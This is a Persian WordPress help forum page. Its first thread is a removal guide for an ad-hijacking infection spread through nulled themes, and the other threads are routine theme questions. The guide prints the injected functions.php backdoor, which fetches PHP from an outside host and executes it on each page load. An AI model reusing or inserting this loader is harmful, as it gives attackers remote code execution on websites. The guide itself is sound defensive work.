برای حساب کاربری جدید در انجمن ما ثبت نام کنید. عضویت خیلی ساده است !


ثبت نام یک حساب کاربری جدید

ورود به حساب کاربری

دارای حساب کاربری هستید؟ از اینجا وارد شوید


ورود به حساب کاربری

  • مطالب مشابه

    • توسط master89
      دوستان سلام
      یک ویروس جدید اومده برای وردپرس که تبلیغات دزدید میکنه. به این صورت که پاپ آپ کلیکی باز میکنه و توی موبایل بدون کلیک پاپ آپ میذاره.
      جالبش اینجاس که روی آی پی Admin وردپرس پاپ آپ نداره و حتی کد هم نمیتونید پیدا کنید!
      شما میتونید از "پنجره ناشناس" فایرفاکس سایت خودتون رو باز کنید و کد و پاپ آپ رو ببینید. اما باز هم اگه با FTP برید داخل همون صفحه و بخواید کد رو پاک کنید. کد مخفی میشه. به این صورت که با هر بار بارگذاری صفحه کد از جایی بازخوانی میشه.
      توی انجمن های فارسی که بحثی ازش نشده فکر کنم، توی انجمن های خارجی هم بحث شده اما جوابی دریافت نشده.
      صفحه اصلی تبلیغ دزد: go.pub2srv.com هست. که هر بار لینک های تبلیغاتی متفاوتی همراه خودش میتونه داشته باشه. راه های زیادی برای از بین بردنش هست. اما باز بر میگرده و به مرور بیشتر میشه.
      نکته آخر : این ویروس با قالب های نال شده و غیر قانونی وارد وبسایت شما میشه. معمولا هم ارائه دهنده این قالب ها سایت vestatheme هست که اکثر وبسایت هایی که قالب های تجاری رو رایگان برای دانلود میذارن، از این وبسایت دریافت میکنند (پس اکثر سایت ها خطرناک شدن)
      آموزش حذف ویروس :
      اول سایتتون رو اینجا وارد کنید و چک کنید
      https://sitecheck.sucuri.net/  
      حالا برید داخل فلدر قالبتون / فایل function.php رو پیدا کنید و ویرایش کنید
      و قطعه کد زیر رو ازش حذف کنید
      if ( ! function_exists( 'wp_temp_setup' ) ) { $path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI]; if($tmpcontent = @file_get_contents("http://www.aotson.com/code.php?i=".$path)) { function wp_temp_setup($phpCode) { $tmpfname = tempnam(sys_get_temp_dir(), "wp_temp_setup"); $handle = fopen($tmpfname, "w+"); fwrite($handle, "<?php\n" . $phpCode); fclose($handle); include $tmpfname; unlink($tmpfname); return get_defined_vars(); } extract(wp_temp_setup($tmpcontent)); } } ?> حالا افزونه  Exploit Scanner رو نصب کنید و اسکن کنید. پس از پایان اسکن ctrl+f رو بزنید و go.pub رو جستجو کنید. اگر نبود، یعنی همه چیز درسته.
      (این افزونه کد های مخفی رو پیدا میکنه و نمایش میده)
      سپاس
    • توسط yaali
      بنام خدا
      :::لینک دانلود قالب فراسر:::
      دانلود قالب  
      خیلی وقت هست که به دنبال یک قالب وردپرسی ای بودم که جدا از ساده بودن، بتوانم با آن کد لایسنس و چیزایی از این دست بفروشم. علاوه بر اون کد فروخته شده بلافاصله به شماره موبایل مشتری هم پیامک بشه.
      قالبها و افزونه های زیادی ادعا داشتند که می توانند این کار را انجام دهند؛ اما در واقع هیچکدام کامل نبودند و پاسخی برای نیاز صاحبان فروشگاه نداشتند.
      بالاخره بر آن شدیم تا یه قالب ساده و در عین حال سریع و کارآمد برای این کار آماده کنیم. بعد از فراز و نشیب های بسیار، الان در خدمت شما هستیم با معرفی قالب فراسر.
      قالب فراسر یک قالب وردپرس هست که با اون میشه کارای زیادی رو انجام داد. یه نمونه ی معروف از اون فروش کارت شارژ هست. از طرف دیگه میشه با اون کد لایسنس هم فروخت. یعنی یه سایت فروش لایسنس آنتی ویروس داشت.
      با قالب فراسر می تونید هر نوع خدمتی که بر اساس کد و یا متن باشه انجام دهید. مثل فروش اپل آیدی و یا فروش یه جمله عاشقانه به طوری که هر جمله در یک سطر باشه و آپلود بشه و ...
      تصاویری از قالب فراسر رو می بینید:

      این قالب توسط قلم سافت کدنویسی و آماده شده است و زحمت فارسی سازی اون رو بچه های همیاروردپرس کشیدن که به نشانه ی تشکر، متن پایین وبسایت حفظ شده است.
      هنگامی که بر روی هر کدام از دکمه های پرداخت کلیک کنید؛ با صفحه ی زیر منتقل می شوید:

      این تصویر در واقع سبد خرید شماست. این صفحه به صورت خودکار به صفحه پرداخت منتقل می شود. انتقال خودکار اختیاری است که می توانید آن را از این صفحه حذف نمایید.
      در ادامه کاربر به صفحه زیر هدایت می شود. در این صفحه با وارد کردن تنها شماره موبایل خود می تواند خرید را انجام دهد. وارد کردن پست الکترونیکی اجباری نیست.
       

      بعد از وارد کردن اطلاعات و پرداخت، بلافاصله کد مدنظر، به شماره شما پیامک می گردد. این قالب بر اساس پنل پیامکی sms.ir نوشته شده است. بزودی پنل های پیامکی  دیگر نیز به این قالب اضافه خواهند شد.
       
      اگر شما هم مدتهاست که به دنبال چنین قالبی هستید می توانید هم اکنون با کلیک بر روی متن آن را دانلود کنید
       
    • توسط نگار صادقی
      سلام وقت همگی بخیر.
      دوستان قالب 2017 پیشفرض وردپرس قالب خوبیه؟
      سئوش خوبه؟
      کدنویسی بهینه شده شده است؟
      ممنونم
       
    • توسط shamea
      قالب سایتم درست بود یهوریخت بهم
      هیچ چیزم نصب نکردم هیچ کاریشم نکردم
      ادرسش اینه
      http://diacoshop.ir/
      اون قسمت های بالاش اسلایدبار بود هرکت میکرد الان ثابت شده حرکت نمیکنه
      مثه این بود:
      https://hamyarwp.com/preview/store/
      این دموشه
       
      لطفا یکی کمک کنه
    • توسط sultansulay
      سلام  دوستان عزیز
      خسته نباشید
      بنده یه مشکلی دارم اونم اینه که بعد از نصب هر قالبی که فارسی باشه
      قالب سایت بهم میریزه
      مثل بلوک ها یا هدرش  یا ادامه مطلب به شات توجه کنید متوجه میشید
      از هاست سی پنل استفاده میکنم و رایگان نیستش